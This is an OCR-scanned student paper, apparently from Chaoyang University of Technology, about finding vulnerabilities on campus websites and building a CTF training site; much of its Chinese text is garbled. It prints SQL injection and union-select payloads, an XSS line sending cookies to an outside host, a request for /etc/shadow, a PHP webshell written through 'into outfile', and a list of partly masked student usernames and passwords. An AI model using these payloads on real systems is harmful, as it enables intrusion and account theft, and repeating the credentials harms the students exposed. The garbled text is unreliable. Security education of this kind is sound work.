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Abstract

In this era of the Internet, people almost
always do something through the Internet. If
there is no concept of information security
designed website designers often no protec-
tion for data, and then the opportunity for
hackers cause a user’s data leakage, while
allowing users to information circulated on the
Internet. And the topic in order to enhance
security and demonstrate the basic school
system hacker attack techniques, on-campus
testing multiple sites, looking for designers
ignored vulnerabilities, the vulnerability of
data provided to the designers, according to
the data available quickly fix vulnerabilities
designer based, can make the site reach safer.
In addition to providing data to the designer,
the topic also set up a website A pen, within
the site provides a number of information

security-related topics, for users and designers
to understand some basic information security
problems, hackers often learn some methods of
attack so that designers can design web based
learning to approach when setting up web
pages can achieve security.
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Bl A & Sql Injection [4] ~ £ &4 £ T &R £
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Sql Injection

Sql Injection &F| Al iE X sql 35 % &4 %]
FIEZBE R G TR LN 1 ©

1 || <?php

$sql = "SELECT * FROM users where
username = ’$_POST [user]’ and
password= ’$_POST [passwd]’";

3 || $result = mysql_query($sql);
$row = mysql_fetch_row($result);
5 7>
\. J

AKX 1: B# SQL Injection %R 8942 X 45 o

4 POST &+ 89 F4F3 R user=admin’or
1=1#&passwd=123 » 2] SQL &HZEZR G A

SELECT * FROM users where username
=’admin’ or 1=1#’ and password
= 7123’

A B#de MySQL LM » AT AL @ 69 &30
BOJAR M A % o BB EEHFE IR T F R

SELECT * FROM users where username
=’admin’ or 1=1

VLS B 7 SR A 4R A adminth 38 B R 5 &
B -

Cross-site Script

Cross-site Script (XSS) & 4t 4t 77 3% T
B % FWA LA AEZE XSS KRR 0 BT
FAE R FEPATE M A 69 cookie © R
SR XSS ARFEM AR REH—HEF X o
CERCEIPN S o Y RN S ()
URL » & URL 3abak47 B aF > 454 09 B &N
5 Fom HTML AT ~ $UAT - S 4F B2 3k
FraAe » LIAR PR R BA M RS R4S
Be 5l AL o flde @ X HEALE
www.xxx.xxx/index.php?title=
<script>alert(document.cookie)< /script> 4=
1» %38 33 R AR A E R A & AT
JavaScript * % #3b LA B KR L G A
cookie F » B ZAR T #| Al #h#F (hijack) 7 X
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L] ) Eigh... x \ +

N
& ‘hest.php?title=<scrip X  Q #s B » =
G Google (] F Google Chrome ~ Challenges - Ring...

PHPSESSID=89qv2m8qv7qmm9vd65fo5ma6v7

HE

=] — x
1: XSS 3u-1
[[root@myserver ~]# cat /var/log/httpd/access_log|grep ctf=PHPSESSID 11
o L7 7oec/a01oeti03138 SoR00) "emz
HTTP/1.1" 200 1538 "http://1_.._.._._../test.php?title=83Cscripts20src=s22http://]
/xss.]js%$22%3E%3C/script%$3E" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:42.0) Gecko/2010
0101 Firefox/42.0"
- - [07/Dec/2015:17:03:33 +0800] "GET /static/css/login.css HTTP/1.1" 200 940 "htt
e 7ot eAFSESR OV Ios T ey VA ToSTaeT] Wosiiie/5.0 (Hasintosh: Tncel M
ac 0S X 10.11; rv:42.0) Gecko/20100101 Firefox/42.0"
Sl.lT.2.I11 - - [07/Dec/2015:17:03:33 +0800] "GET /static/css/base.cs:

s HTTP/1.1" 200 13995 "ht

tp:// 7[zctf=PEPSESSID%3D89qv2mBavigunIvd65Tosma6v7’| "Mozilla/5.0 (Macintosh; Intel
Mac 0S X 10.11; rv:42.0) Gecko/20100101 Firefox/42.0"

- - [07/Dec/2015:17:04:10 +0800] "GET / @ 7
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:42.0) Gecko/20100101

HTTP/1.1" 200 1538 "-"
Firefox/42.0"
[rootémyserver ~1# [l

B 2: XSS T #2-2
HEEHELEEFTHR

& B AT BAE R AL get & post &
BAe T ELME » — LA RENBE
CHRREEFRETR  RRALBKRETH » o
3o WM AH LR RARENHELAE
TR R o BLEAR T A B —18 B EH K B
ABT o

HREAE XA

#% B A & & A (Sensitive Data
Exposure)[7]3& % L 89 & J& % w % 8 $ 4
TEATIE o £AE R BOHERLT » & LK
MATRENERERM TR AE 35 F kR
PReLim by 5 43| AAE A 35 8995 A (hash) B & &
RAEZH o BRI FARLEGHYGREZ —E
Frég > AR T RIRE A - T AM F ik
J — Mool AR ke B 4 R B AT AR o A
42Cain & Abel » MD5 Reverse Lookup % °
Bldo @ BRI EALA KRB (unsalted) #9%
A (hash) F k& BB EAN FH o — 8L
AR R RAE L E RS R IR AR S o AT dE

o

R H (unsalted) %A (hash) # % #4538 &
% oo R R BB 7y XA AR o

ARG xE

BRARZGREABE—BAK ~ XX
TR BAT O IR > B A A B ZA MY
T8 o B E AT R G M IBAT A AR HIAE
BB AN  METREF o EAHLEF 2
BIEER/T AR FEAH IR TTT
% A B RE R BT R AE R AT AR AT o B Ik
FELEPAMBEY AR SRRGEAELE > &
A A8 A7 0 Hlde : HeartBleed(CVE-2014-
0160) 2 ShellShock(CVE-2014-6271) » & 8.8
B VAE TN > 158 e 6 4508 TR IR 98 3R
LR mHER root » BILERA B LT IK
ERH o BAERZLRAEN  — T RIH
A G R FH By b sbRRARA S AR o

2.2

3 B @R
ARG EARMA

T AR A RAA BRI HRFIE
% 5 Sql Injection MR » T S #| B order by #
TEAERTH % VAL o 183K order by 3 B
$53% ~ order by 2 JE#E > B 7T ¥ %e 18 33 F AR
1A 2 18 » AR union & AR B TA
AR Fiihd B ELHKRE LT

1 || key_srh=aaa’ union select null
y...,null,null , null#

THTRIER SRFKEGHL ~ (E3k ~ o
FHFRABATRIRF > B 4
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BOEFIR : R1217x#%xx
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4: Sql Injection & #%

MyCyut %48 & Z 5% EH 2R

MyCyut A& %R E root HA T #H A @
BIRR > A5 HABIEAT

1 {filename=shadow&path=/etC/ J

BHETTREZEE > A& LM log # T
GEENIERER > w8 5o



userName: sl1047"~"), password: 9611 ~~ ~~
userName: s104! ), password: 9611
userName: s104! 1, password: cs2Z
userName: s101! 2, password: Bwww
userName: s101! 1, password: Bwww
userName: s103: 1, password: /vic
userName: s104: 1, password: @lov
userName: s104: 1, password: Elow
userName: s104: 1, password: ZXCV
userName: s104; 1, password: ZXCV
userName: s104! 3, password: prim
userName: s104! 3, password: chiu !
userName: s104! ), password: peiy
userName: s104! ), password: peiy
userName: s104¢ 1, password: Heu#
userName: s104¢ 1, password: Héu#
userName: s103: 5, password: azsx
userName: s103: 3, password: azsx
userName: s103: 5, password: azsx
userName: s104¢ 5, password: long
userName: s104¢ 3, password: long
userName: s102: ), password: L125
userName: s102i 3, password: jaso
userName: s102¢ L, password: K101

5: MyCyut #% & E %k

MyCyut XSS % #

MyCyut Aw o M FAA AL XSS R

Bl AR R B S H KRBT

EZARA P EE AE® > cookie Bl T E ;

<script> src="http://xxx.
xxx7xss="+document.cookies;</
script>

n\\
B

o delE 6o

120.116.1.196 - -

[26/Nov/2015:11:46:86 +88088] "GET /users/sign_in HTTP/1.1" 208

3882 "http://27.100.66.32:6180/rank” "Mozilla/5.8 (X11; Linux x86 64; rv:38.8)
Gecko/201008181 Firefox/38.8"

120.1168.1.196 - -

[26/Nov/20815:11:46:11 +8888] "POST /users/sign_in HTTP/1.1" 38

2 91 "http://27.100.66.32:6189/users/sign_in" "Mozilla/5.8 (X11; Linux xB6_64; r
v:38.8) Gecko/20100181 Firefox/38.8"

120.118.1.196 - -

[26/Mov/20815:11:46:11 +8868] "GET / HTTP/1.1" 2808 3838 "http:/

/27.1008.66.32:6189/users/sign_in* “Mozilla/5.8 (X11; Linux xB86_64; rv:38.8) Geck
©0/20180101 Firefox/38.8"

120.110.1.196 - -

[26/Nov/20815:11:46:13 +BBB8] "GET /challenges HTTP/1.1" 208 15

620 "http://27.100.66.32:6189/" "Mozilla/5.8 (X11; Linux xB6_64; rv:38.8) Gecko/
20100181 Firefox/3

1.34.32.123

8.8"
- [26/Nov/2015:14:34:05 +0808] "GET / WTTP/1.8% 200 4843 =-= "Mozi

1la/5.0 (compatible; MSIE 9.8; Windows NT 6.1; Winb4; x64; Trident/5.8)"

115.230.124.164 - -

[26/Nov/2815:16:10:84 +BABB] "GET http://zc.qq.com/cai-bin/c

ommon/attr?id=260714&r=0.5642630317419645 HTTP/1.1" 464 217 "-= “Mozilla/5.8 (co

mpatible;
221.231.6.195 - -
ozilla/5.8 (Macintosh; Intel Mac 0S X 18 18 5) AppleWebKit/!

MSIE 9.0; Windows NT 6.1; Trident/5.8; 368SE)"
[26/Nov/2015:20:38:32 +0800] "OPTIONS / HTTP/1.1" 208 - "-" "M

7.36 (KHTHL, Uke G

ecko) Chrome/43.8.2357.134 Safari/537.36 Q0Browser/3.8.3858

B7.100.66,32 - - [26/Nov/2015:26:41:27 +68680] "GET /7cookie= _ga-GAL.3. 963082520,
1447332080; 42(TSESSTONTD=aaaXU0X03G__—____ HTTP/L.1" 200 63 "-" “Hozilla/5.0

irefox/38.08"
968,1 Bot
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FIBRMARITE) FEREEEMR
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BERE +
AR

ARG Wl 7o

TRt

LEREARER "R015/12/4 T4 09:58:19
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Chaoyang University of Technology

B 7 REEEALRLA

Bl A AMAE AT NER mesid FHA
B SAEIAT AT E ) H A o SR A or-
der by # E TH A % S AL » BEE MySQL
89 & user() M4 MySQL #94% A & » 8 i
BB S H T

1 || mes_id=-1 union select null,...,
null,null,null#

A & AR AE A root KR ER o root £ B A E
YA PTRHAEIR %uﬁu&MMﬁm?%
into outfile § A& 1 o w7~ sbda IR &5 3 2 A H%
B4/ » AT B EFRT LB REG A
B AL RO HE LR T  ATHEAR

A/t B 4k T A3 WebShell » 428 8 ©

1 || mes_id=-1 union select null,’<%php
system($_POST[cmd]); 7>7,
into outfile ’...’#

b374k 3.2.3

@ (<100
Terninal  Eval

Processes

Explorer Convert  Database  Info  Mail  Network

server 1P : 1| Your Ip

Tire @ Server : 07 Dec 2015 15:51:47

Windows NT WIN-TAVPFSRKNSD 6.2 build 9206 (Windows Server 2012 Standard Edition) AMDGd
Apache/2.4.9 (Win64) PHP/5.5.12 | PHP 5.5.12

name size perns rodified
hp action 10.7 KB -rw-rwerw-  82-Oct-2015 85:02:39
1php. action 2.73 KB -rwerwerw-  10-Feb-2014 64:39:28
1sql.php. action 190 B -rWerwerwe  31-Dec-2010 02:49:06
iploadedit.php action 1.76 KB -rw-rwerw-  10-Feb-2014 04:39:28
1pload. php action 5.7 KB rWerwerwe  22-0Ct-2015 04:44:53
hp action 6.33 KB -rwerwerw-  22-0ct-2015 04:17:08

B 8: Ail A& Sql Injection

¥ A4AM

EEEZWAT » #R—MEEEE SQL
Injection #-F# & » &/ﬁlﬁi%‘ﬂ‘] EHEBEEET
1% B PRI Ae Km0 B A5 > PTARE 09 2 8
RE LT .

1 || Pname=a’union select null,
,password,null from ...--

,user

BANBHERAR —A T TAMER L% AE
i A8 3 R A EARAE R A TRA] > ﬁuTuﬁ&
F — B WebShell L& » 3 B = YA AT » 4

B oo

MEZ

M

BEETELAG AR EH R AHE
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8 1R B S B
8 1R B B
8 1RV B B
ALY R R B

Gt AR iR S )
AR B R B
R AURY B B
R AURY B 8 B
R AURY B B
W9 AURY B HH B
ALY R B
ALY R R B
ALY B B

2015114 D& 032021
2015114 & 03:5546
2012:54 & 08:5205
2011-3-4 & 01:29:00
201469 O& 06:18:19
2013717 O& 123407
2013108 (& 12:2047
2013717 O& 12:3408
2013717 O& 123408
2014114 D& 05:33:19
2015114 O& 03:2037
2013717 O& 12:34:09
2013717 O& 12:34:10

ASPNET Server Page
ASPNET Server Page
ASPNET Server Page
ASPNET Server Page
(=17
ASPNET Server Page
ASPNET Server Page
ASPNET Server Page

B9 AEaEdLi

120.110. Your Ip : 37.130.
er : 07 Dec 2015 11:10:01

AD che/2.4.6 (Cent0S) PHP/5.4.16 | PHP 5.4.15

nnnnnn

SRR G K H @RI

= EABE A @EERIREA
G R Hoo A E

Eﬁ 4 1%’ ? )ﬁx aﬂ iGN I 9 11

strSQL selectstd.  _ std.: 3 dls. IS cie . dep. Jdep ._  3subse sub.s

>c_name ,Cls.( wowd,

,code \Password(pw LCONVI archar(max),( xmiyvi* {'(data)

pswd s_year from cc ».studps vd cyutdbo.s yutdb  1_stud

cls .cy dep dep ,cyut. 9sub:  sutdbo.s99_s (p wd. =%

pwd.s s.sts_acy = 10 i (sts.st Y="1" and (s sid_stt and (ol

(dep.c dep_no) and . Ib_id = 2_id) and (set _id)

saLs PRGN, |

code: 102

13.10.0-123.13.2.¢17.%86_64 #1 SNP Thu Dec 18 14:09:13 UTC 2014 xB6_64

perrs rodified -
ererererer Nov-2014 17:27:54
ov-2014 17:27:54
Nov-2014 17:27:54
ov-2014 17:27:54
Nov-2014 17:27:54
ov-2014 17:27:54
Nov-2014 17:27:55
ov-2014 17:27:55

Nov-2614 17:27:55

message: [Microsoft][SQL Server Native Client 10.0][SQL Server]incorrect syntax near 104!

11: 45323
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CTF #3:1% F Ruby on Rails(RoR) A
=
THE A Bk A HSE 0 R A MVC(model—
aoH R

# > RoR Z—1fE#

Veiw—controller) AH
/%1@ * view ,\ 2 71%‘ A
% 2

quest * 3 # X & model X view T —F &K
AR AR XA

o AT IRAL R

i % B

model

B 4

a &

A R /\

95 o 74 £ 88

S 69 4

HHE LN R G Bl 120
Wb I RKE R B B ~AH ~BL

BEARGEM > wE 13478 14> B R
HEt—EF R R @Y AR o
AR — B E L
FR&AaF A

HAE@mAETEHAR

R (flag) » €4

# —18 POST 3

25

) Fsﬂ

% » controller Bl 9~#71% A # 4 HTTP Re-

uz

-2

#

ek bt
HTTP Request

y = B
\Controller ’
2. / / \4_ /

DB = Model View

B 12: MVCEH

@ G E controller I » P BT AR A
AL ERERTHEANT » wiE—EK A 45”‘
view » W R A% e I H AR LA
O HAZAERIN - Y5& B @AF & %Jr@“l’ﬁﬁ
T A 4% R B AR B AR AR P8 4 Sk 5 32 B 10
ﬂﬂﬁ‘]]‘?ﬂﬁz \E ’ @%ﬁ&@iﬁﬁ /%’17 °
HEABZMB @K RoR #APIG G B E
B EM devise * TABEZ R I Mz M A B » FTvd
%%%%mAﬁZﬁusﬁﬂéﬁ%E@%
controller ¥ Am AAL A& 8 5 H A B F LY
AL o
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Hor Challenges | Practice  Ranking

Web  Exploit  Crypto

' Task Point statu Sived
1 wet 50 [+] 2
2 wet 50 (] 0
3 100 (] 0
4 b 100 1
5 150 (] 0
Copyright @2015 CYUT CSIE i&BB E 5B R
oy Hawkins
TF $t¥ B @
13: CTF k3 A
—
Your point : 103

Rank Rl Poit
i demo 103
2 Hawkins s
s Hawkins s
% 0
5 RERIRR 0

B 14: CTF #E4% B @

4.2 AB*%E

CTF @B ZAUREREREAL T
R 8RR B £ gk 0 RFHAA M B E >
P AR o

FEAEGARBR I ANEZL

1& B php A MR8 X w LA M A
&9 if 35 ik ) B - *%ﬁ&.;’% &4 o B 4 A2



A 2o stremp 1%3E 2 18 string B 7 5% > &
AAF GAFE] 0 48 > RA T RATEI3E 0 8 {2
Yo RAE B H A — R I F BN stremp F A 5]
BEEESR o T HEIBAR AR B o

1 ||int strcmp ( string $strl , string
$str2 )

3||Returns < 0 if strl is less than
str2; > 0 if strl is greater
than str2, and O if they are
equal.

A2 X 2: strempt

&4 B 2 A (Sql injection)

FH R EAZ OWASP TOP 10 ¥ &EE
MEBERAAEXZAME s KAGKZI—M
BANBE®  TERMARRAEH L EEG
AH R EA G E1E - BNE A BIRAE R F
N o B T S AT ) B HFE R 0 2 A
Ba&tEEE A Admin B HRIEE B T i@
B o

Cookie B A

OWASP TOP 10 F 3T % =89 & 45325
M, LEFBLGEARLEI— — WA
FEAE R HBEANEK G4 R cookie &K session B &
WRE ERAPHGLEMAALES > — B8
BA R — 8B o R AR e A e
cookie * T H ML A AWM A LES - AT
AAZAAAGT—BEEEEY AL AEAR
G 4T —1 cookie * 1223 cookie 1% i F
By B o fE AR B e B 09 7 iR L ARAR T 48 5 Motk
B Admin #RBEANZ RL ©

# XALFH # (format string)

BRALFHEERRBST T AET LR
hht o TREAFRAFHEARRE AKX
it % > 4= @ printf ~ sprintf ¥ > — 2 % 3|
BEA SR BRET ARG AR E - B
ARG — LK REREMA—EF
¥ o HIEA printf W E 0w R4 A —1E 5
HoFTMATEPRAKRATE > g9 4
# AL T & RiR o

@4 EAX (command injection)

AEANL AR R XM AR A ShET
AR B F W NBES R G SR

XA > AR GZ T — L8 AT system HE
EwiEAEWMAL S EREEAZIEYR
o

5 B#

a2 B AR 0 B > AR Rk a9 42
B LA 5 K P AEAT FEAR R BB E R T
o ZABRAMAMESR  BHFLHEBHAR
ZEBA L EAMEANZRIIARN B4
HAH IR 6 B & B A o

BETREARETRALRL AR IR
2 MR K35 0 F—3 5 KL OWASP TOP
10 PRI G2 4RRA » #HEREMNALEITH
FRR o R RBEMESERFAREIZFELAL
HERREBMA » ERAAIRGREN > &
A5 R R BIE B BN BIS A RIR 5% o
B BBERATAALET AN AR
o> %R CTF #st > Bt FAA B a4 &K
BB KBRS » MBERRREFTENALY
Z 5 WITHBE B RAEA AL AN A -
URAEMA BB T2 RASHEA -

%% UK
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